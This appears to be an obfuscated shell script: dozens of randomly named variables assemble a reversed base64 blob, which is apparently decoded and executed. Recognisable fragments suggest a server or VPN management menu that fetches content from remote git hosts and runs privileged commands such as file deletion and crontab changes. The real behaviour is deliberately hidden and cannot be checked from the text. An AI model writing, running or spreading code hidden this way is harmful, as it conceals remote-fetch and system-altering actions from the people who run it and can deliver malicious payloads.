+lIpqRKyWHuFUOiAcZQUMQHlzyOOpyFcOSyUlqNjMGjQimiwiidUdWYPgtIevImhFLgMGsazszepPZUSJXlLVcOUYpJcJDrWuvAoz="vxlYVIEaYxOPyvgGWycsfRRSRHYzFXhGcNGzctmBATdtDbeiwBmYRtDoijzOTVlaUXAPdsoRXWFrhUvLHgmDdjxNDPIhynJTzyMX";iQsDAOPrDOigGRZkdtlueRglaehgyqlbMiZNNdYACQqvnjoiYoifwsjafScOYVhVUktHzydZkVPvoKwfUapteNjcSMqOkDRtIPPH="zTDJHAGdwNqJQMQFKiunmAZLxzeDSpPDjCpvKVPEygqsSKmrRfdnATZEzWsDdJPCDXQCkXyAmtXVfEPBbCiTjDLodAeQMmYAWgVf";vzXfGbvFjUMKlYorLcgHpQWbBmahgYujcXPsWIKaQQyYTrgZPQInxGlfnoaLOdQoUjmLDdounFpeztggHtHBVJZReKPKLwbcUPLg="ch";MycMZwhNnEENUfinQiPYqwzGBBGRKwjTJLrrraZHOnhdvnfDCEKRPFTJEHdNYJzTrNCdkPdEZIMPjrPPpkePSFnzYfgnOdsoGJFr="4";tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB="";IhmUPQLHymMgLLOkGvZxFUDiuGQpHiUkIMLZaffxctWFtSvTsFePDXzkCcRUnrJWtxQuDHuJMuLesOGglZWKKaNaNzkbbrVAUusp="nOiUYkXhuyNTEZHrdPlTndYhAYaVEIbnmKHZNyvjttPJJAvymEEZuFsMFtLYGaJTJLvlGdXhWFupKFAOboEKDcYVZXgsTAGKyWhS";dBZQaUlsCBWFlNmMwyDsINxczHQYWaGkiyUWePrEDwEULStCxbdQdTTSzISyOubjkJClRGarZfaLRzIkpyVuWQssazEKiHPCQyAf=" =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